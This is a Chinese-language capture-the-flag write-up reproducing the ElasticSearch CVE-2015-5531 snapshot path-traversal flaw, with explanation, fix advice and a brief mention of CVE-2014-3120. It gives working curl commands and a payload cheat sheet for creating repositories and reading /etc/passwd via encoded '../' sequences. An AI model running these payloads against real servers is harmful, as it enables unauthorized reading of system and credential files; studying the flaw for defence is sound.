ElasticSearch(CVE-2015-5531)漏洞复现 — 附玄机靶场Flag获取思路
2026/7/22 11:54:04 网站建设 项目流程

⚠️ 免责声明本文仅用于网络安全学习与研究目的。请勿将文中技术用于非法用途,未经授权对他人系统进行测试属于违法行为。读者应遵守《中华人民共和国网络安全法》及相关法律法规。如因不当使用本文技术导致的任何法律责任,由使用者自行承担。

目录

  1. 漏洞概述
  2. 环境搭建
  3. 漏洞原理分析
  4. 漏洞复现全流程
  5. 确认目标信息
  6. 创建快照仓库
  7. 创建第二个仓库(绕过前缀限制)
  8. 路径穿越读取文件
  9. 探索文件系统并查找 Flag
  10. 问题:snapshot-前缀干扰
  11. 结果解码与 Flag 提取
  12. 完整 Payload 速查表
  13. 修复建议

1. 漏洞概述

项目

内容

CVE 编号

CVE-2015-5531

漏洞名称

ElasticSearch 目录穿越漏洞

CVE 评分

CVSS 3.1: 5.0(中危)

影响版本

ElasticSearch 1.6.0及更早版本

漏洞类型

目录穿越/任意文件读取(Path Traversal)

漏洞特点

无需认证即可直接利用

CWE 分类

CWE-22: 路径遍历(Path Traversal)

漏洞描述

ElasticSearch 是一个分布式的 RESTful 搜索和分析引擎,广泛应用于日志分析、全文搜索等场景。ElasticSearch 提供了快照(Snapshot)和恢复(Restore)功能,允许用户将数据备份到指定的文件系统目录。

CVE-2015-5531 是 ElasticSearch 快照功能中的一个目录穿越漏洞。在受影响版本中,ElasticSearch 在处理快照 API 请求时,未对用户传入的快照名称进行充分的路径校验。攻击者可以通过在快照名称中插入 "../" 等路径穿越字符,突破 ElasticSearch 的目录限制,实现读取服务器上任意文件的目的。

在 ElasticSearch 1.5.1 及更早版本中,无需任何额外配置即可触发该漏洞;在 1.6.0 版本中,需要在 elasticsearch.yml 配置文件中设置 path.repo 参数后才能利用。

漏洞发现者:Benjamin Smith

参考链接:https://www.exploit-db.com/exploits/38383/

2. 环境搭建

本次复现使用 Vulhub 漏洞环境搭建的 ElasticSearch 1.4.4 服务器。

目标信息:

• 目标地址:http://69.230.242.247:9200

• ElasticSearch 版本:1.4.4

• 集群名称:elasticsearch

• 节点名称:Lucifer

环境搭建方式(Docker):

3. 漏洞原理分析

3.1 快照功能简介

ElasticSearch 的快照(Snapshot)功能允许用户将集群中的数据备份到指定的文件系统目录中。其核心 API 调用流程如下:

1. 创建快照仓库(Repository):指定仓库类型(如 fs 文件系统)和存储路径

2. 创建快照(Snapshot):在指定仓库中创建一个快照

3. 恢复快照(Restore):从快照中恢复数据

3.2 漏洞成因

漏洞出现在快照名称的处理过程中。当用户请求快照恢复时,ElasticSearch 会构造以下文件路径:

关键问题在于:{快照名称} 参数直接来自用户输入的 URL,ElasticSearch 未对其进行充分的路径校验。攻击者可以将快照名称设置为包含 "../" 路径穿越序列的字符串,从而突破仓库目录的限制,读取系统上的任意文件。

影响范围:

• ElasticSearch 1.0.x ~ 1.4.x:全部受影响,无需任何配置

• ElasticSearch 1.5.x:1.5.0 ~ 1.5.1 受影响,需要配置 path.repo

• ElasticSearch 1.6.0:受影响,需要配置 path.repo

• ElasticSearch 1.6.1 及以上:已修复

4. 漏洞复现全流程

4.1 确认目标信息

首先确认目标 ElasticSearch 服务是否正常运行,以及确认其版本号。这一步是为了判断目标是否在漏洞影响范围内。

操作说明:

在浏览器中打开目标地址,或使用 curl 命令发送 GET 请求到根路径,ElasticSearch 会返回其版本信息。

响应结果:

✅ 服务器正常,版本为 1.4.4(在受影响范围内,无需额外配置)。4.2 创建第一个快照仓库

利用该漏洞前,需要先创建一个快照仓库。仓库将用于建立文件系统目录结构,为后续的路径穿越做准备。我们将第一个仓库指向一个相对路径 "dsr",该路径相对于 ElasticSearch 的安装目录 /usr/share/elasticsearch/ 进行解析:

请求命令:

curl -XPUT "http://69.230.242.247:9200/_snapshot/pwn" -H "Content-Type: application/json" -d "{\"type\":\"fs\",\"settings\":{\"location\":\"dsr\"}}"

响应结果:

✅ 返回 {"acknowledged":true} 表示仓库创建成功。这一步在服务器上创建了 /usr/share/elasticsearch/dsr/ 目录。相对路径解析原理:

当仓库的 location 设置为相对路径(不以 / 开头)时,ElasticSearch 会将其相对于 ES 的安装目录/usr/share/elasticsearch/ 来解析。因此 "dsr" 实际对应的是 /usr/share/elasticsearch/dsr/。

4.3 创建第二个仓库(绕过前缀限制)

这是漏洞利用的关键步骤!

ElasticSearch 在读取快照文件时,会在文件名前自动追加 "snapshot-" 前缀。例如,如果快照名称为 "ev1l/../../../etc/passwd",则构造的完整路径为 "{仓库路径}/snapshot-ev1l/../../../etc/passwd"。

如果不做特殊处理,直接使用一个仓库会有什么问题?

假设我们在 /tmp/test/ 下创建了一个仓库,然后尝试读取 /flag:

原因在于 "snapshot-backdata" 中的 "backdata" 是快照名的一部分,"snapshot-backdata" 会被当作一个文件(或需要存在的目录)来处理。而实际上这个路径并不存在,所以报错。

解决方案:创建第二个仓库来构造匹配目录

通过创建第二个仓库,将 location 设为 "dsr/snapshot-ev1l",在服务器上创建了 /usr/share/elasticsearch/dsr/snapshot-ev1l/ 这个目录。这样一来,当后续的路径穿越发生时,"snapshot-ev1l" 这个路径组件就能正确匹配到实际存在的目录,使得 "../" 可以正常回退。

请求命令:

curl -XPUT "http://69.230.242.247:9200/_snapshot/pwnie" -H "Content-Type: application/json" -d "{\"type\":\"fs\",\"settings\":{\"location\":\"dsr/snapshot-ev1l\"}}"

响应结果:

✅ 创建成功。这一步在服务器上创建了 /usr/share/elasticsearch/dsr/snapshot-ev1l/ 目录。原理说明:

由于第二个仓库的路径为 "dsr/snapshot-ev1l/",这个目录结构恰好与 ES 构造文件路径时的 "snapshot-ev1l" 前缀相匹配。后续构造路径穿越时,路径会沿着 /usr/share/elasticsearch/dsr/snapshot-ev1l/snapshot-ev1l/../../../ 回退到根目录,从而读取任意文件。

4.4 路径穿越读取文件

完成上述准备后,通过构造包含路径穿越序列的快照名称,触发 ElasticSearch 读取目标文件。此处以读取 /etc/passwd 为例(Flag 被直接追加在该文件中)。

请求命令(关键 Payload):

curl "http://69.230.242.247:9200/_snapshot/pwn/ev1l%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

注意:URL 中的 %2f 是 / 的 URL 编码形式。使用 %2f 而不是 / 的原因是为了防止 HTTP 服务器在路由阶段自动解析路径中的 "../" 导致路径被标准化,确保 ElasticSearch 能接收到完整的路径穿越字符串。注意:以上响应中的数字数组是 /etc/passwd 文件的实际内容的 ASCII 码表示!ElasticSearch 成功读取了 /etc/passwd 文件,但因为它不是合法的快照元数据格式,解析失败时将文件内容以字节数组的形式泄露在错误信息中。

为什么需要 6 层 ../ ?

从仓库路径 /usr/share/elasticsearch/dsr/snapshot-ev1l/ 回退到根目录共需要经过:

dsr/ → 1层 → elasticsearch/ → 2层 → share/ → 3层 → usr/ → 4层 → / → 5层,再往上一层(第6层)已在根目录。因此需要 6 层 ../ 才能确保稳定到达根目录。

路径解析过程:

响应结果(错误信息中包含文件内容):

✅ 漏洞利用成功!ElasticSearch 尝试将 /etc/passwd 解析为快照元数据文件,解析失败时在错误信息中以字节数组的形式泄露了文件完整内容。

5. 探索文件系统并查找 Flag

5.1 问题:snapshot-前缀干扰

在复现过程中,最容易遇到的问题就是 "snapshot-" 前缀与路径穿越字符的连接问题。

问题描述:

如果直接使用类似 "backdata/../../../../../flag" 的快照名称,ElasticSearch 构造的路径为 "snapshot-backdata/../../../../../flag"。由于 "snapshot-backdata" 不是实际的目录(只是文件名的前缀),操作系统无法正确解析路径,会报 "No such file or directory" 错误。

解决方案:

使用两个仓库的技巧:第一个仓库创建基础目录,第二个仓库创建 "snapshot-ev1l" 子目录作为路径匹配点,使 "snapshot-" 前缀能正确落在目录上,从而正常执行路径穿越。

5.1.1为什么会出现这个错误?

当 ES 构造文件路径时,路径为:/tmp/test/snapshot-backdata/../../../flag。

问题在于 "snapshot-backdata/" 这个路径组件:

  1. ES 将快照名称 "backdata/../../../flag" 前缀添加 "snapshot-"
  2. 得到 "snapshot-backdata/../../../flag"
  3. 系统尝试访问 /tmp/test/snapshot-backdata/
  4. 但该文件(或目录)并不存在
  5. 由于中间路径不存在,后续的 ../ 无法执行
  6. 最终报 FileNotFoundException

5.1.2 两个仓库技巧的详细解析

两个仓库技巧实际上是在目录结构上制造了一个与 "snapshot-{name}" 格式完全匹配的目录。

5.1.3 为什么需要两个仓库才能绕过去?

简单来说:第一个仓库创建了基础目录(dsr/),第二个仓库通过在基础目录下创建一个名为 "snapshot-ev1l" 的子目录,使得后续的路径穿越可以直接从这个子目录出发。

5.1.4 结果解码与 Flag 提取

第 4.4 步返回的错误信息中包含了一个字节数组(以逗号分隔的十进制整数列表)。每个数字代表读取到的文件内容的 ASCII 码。需要将这些数字转换为可读的文本。

5.2 扩展知识:CVE-2014-3120 RCE

CVE-2014-3120 是 ElasticSearch 的另一个经典漏洞,允许通过动态脚本执行任意系统命令。该漏洞影响 ElasticSearch 1.2.0 及更早版本(部分 1.4.x 配置下仍可触发)。

漏洞原理:

ElasticSearch 的 MVEL 和 Groovy 脚本引擎允许用户在搜索请求中执行脚本。由于沙箱机制不完善,攻击者可以通过脚本调用 Java 的 Runtime.exec() 执行系统命令。

Payload 示例:

⚠️ 本次复现目标(ES 1.4.4)中,Groovy 动态脚本已被禁用,因此 CVE-2014-3120 无法直接利用。但在部分未正确配置的环境中仍可尝试。

5.3 结果解码与 Flag 提取

漏洞利用返回的错误信息中包含一个字节数组(整数列表),每个数字代表文件内容的 ASCII 码。需要使用 Python 等工具将其解码为可读文本。也可使用ai去自动解码。

解码后的 /etc/passwd 文件内容:✅ 最终得到 flag: {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}

6. 完整 Payload 速查表

操作

命令/Payload

确认目标信息

curl http://target:9200/

创建仓库 pwn

curl -XPUT "http://target:9200/_snapshot/pwn" -H "Content-Type: application/json" -d '{"type":"fs","settings":{"location":"dsr"}}'

创建仓库 pwnie

curl -XPUT "http://target:9200/_snapshot/pwnie" -H "Content-Type: application/json" -d '{"type":"fs","settings":{"location":"dsr/snapshot-ev1l"}}'

路径穿越读取文件

curl "http://target:9200/_snapshot/pwn/ev1l%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

字节数组解码

python3 -c "data=[...]; print(bytes(data).decode())"

7. 修复建议

针对 CVE-2015-5531 目录穿越漏洞,建议采取以下修复措施:

1. 版本升级:将 ElasticSearch 升级到 1.6.1 或更高版本,官方已修复该漏洞。

2. 配置 path.repo:在 elasticsearch.yml 中配置 path.repo 参数,将快照仓库限制在指定目录下。

3. 网络隔离:避免将 ElasticSearch 服务直接暴露在公网,应部署在内网或使用防火墙限制访问来源。

4. 最小权限原则:ElasticSearch 进程应以低权限用户运行,限制其文件系统访问范围。

5. 输入验证:对所有用户输入的路径参数进行严格的规范化处理和子目录校验。

6. 安全审计:定期更新 ElasticSearch 到最新版本,关注官方安全公告。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询